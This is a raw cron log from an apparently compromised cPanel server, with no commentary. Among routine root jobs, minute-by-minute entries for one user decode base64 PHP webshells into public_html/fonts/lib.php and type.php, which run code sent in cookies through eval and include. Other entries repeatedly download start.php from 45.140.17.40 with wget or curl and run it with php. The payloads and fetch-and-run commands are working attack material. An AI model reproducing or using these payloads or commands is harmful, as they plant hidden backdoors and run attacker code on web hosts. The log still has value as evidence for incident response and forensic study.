Sep  1 07:01:01 ip-184-168-122-23 CROND[8111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:01:01 ip-184-168-122-23 CROND[8112]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 07:01:01 ip-184-168-122-23 CROND[8121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:01:01 ip-184-168-122-23 CROND[8122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:01:01 ip-184-168-122-23 CROND[8123]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8112]: starting 0anacron
Sep  1 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8134]: finished 0anacron
Sep  1 07:02:01 ip-184-168-122-23 CROND[8323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:02:01 ip-184-168-122-23 CROND[8328]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:02:01 ip-184-168-122-23 CROND[8327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:02:01 ip-184-168-122-23 CROND[8326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:02:01 ip-184-168-122-23 CROND[8329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:03:01 ip-184-168-122-23 CROND[8444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:03:01 ip-184-168-122-23 CROND[8445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:03:01 ip-184-168-122-23 CROND[8446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:03:01 ip-184-168-122-23 CROND[8447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:04:01 ip-184-168-122-23 CROND[8544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:04:01 ip-184-168-122-23 CROND[8545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:04:01 ip-184-168-122-23 CROND[8547]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:04:01 ip-184-168-122-23 CROND[8550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:04:01 ip-184-168-122-23 CROND[8552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:05:01 ip-184-168-122-23 CROND[8758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:05:01 ip-184-168-122-23 CROND[8759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:05:01 ip-184-168-122-23 CROND[8762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:05:01 ip-184-168-122-23 CROND[8763]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:05:01 ip-184-168-122-23 CROND[8765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:05:01 ip-184-168-122-23 CROND[8764]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 07:05:01 ip-184-168-122-23 CROND[8768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:06:01 ip-184-168-122-23 CROND[9053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:06:01 ip-184-168-122-23 CROND[9054]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:06:01 ip-184-168-122-23 CROND[9056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:06:01 ip-184-168-122-23 CROND[9057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:06:01 ip-184-168-122-23 CROND[9060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:07:01 ip-184-168-122-23 CROND[9283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:07:02 ip-184-168-122-23 CROND[9289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:07:02 ip-184-168-122-23 CROND[9288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:07:02 ip-184-168-122-23 CROND[9291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:08:01 ip-184-168-122-23 CROND[9438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:08:01 ip-184-168-122-23 CROND[9437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:08:01 ip-184-168-122-23 CROND[9441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:08:01 ip-184-168-122-23 CROND[9443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:08:01 ip-184-168-122-23 CROND[9442]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:09:02 ip-184-168-122-23 CROND[9579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:09:02 ip-184-168-122-23 CROND[9578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:09:02 ip-184-168-122-23 CROND[9581]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 07:09:02 ip-184-168-122-23 CROND[9583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:09:02 ip-184-168-122-23 CROND[9585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:10:01 ip-184-168-122-23 CROND[9678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:10:01 ip-184-168-122-23 CROND[9679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:10:01 ip-184-168-122-23 CROND[9681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:10:01 ip-184-168-122-23 CROND[9686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:10:01 ip-184-168-122-23 CROND[9683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:10:01 ip-184-168-122-23 CROND[9685]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:10:01 ip-184-168-122-23 CROND[9688]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 07:10:01 ip-184-168-122-23 CROND[9689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:11:01 ip-184-168-122-23 CROND[9821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:11:01 ip-184-168-122-23 CROND[9822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:11:01 ip-184-168-122-23 CROND[9824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:11:01 ip-184-168-122-23 CROND[9825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:12:01 ip-184-168-122-23 CROND[9956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:12:01 ip-184-168-122-23 CROND[9955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:12:01 ip-184-168-122-23 CROND[9957]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:12:01 ip-184-168-122-23 CROND[9960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:12:01 ip-184-168-122-23 CROND[9962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:13:01 ip-184-168-122-23 CROND[10150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:13:01 ip-184-168-122-23 CROND[10151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
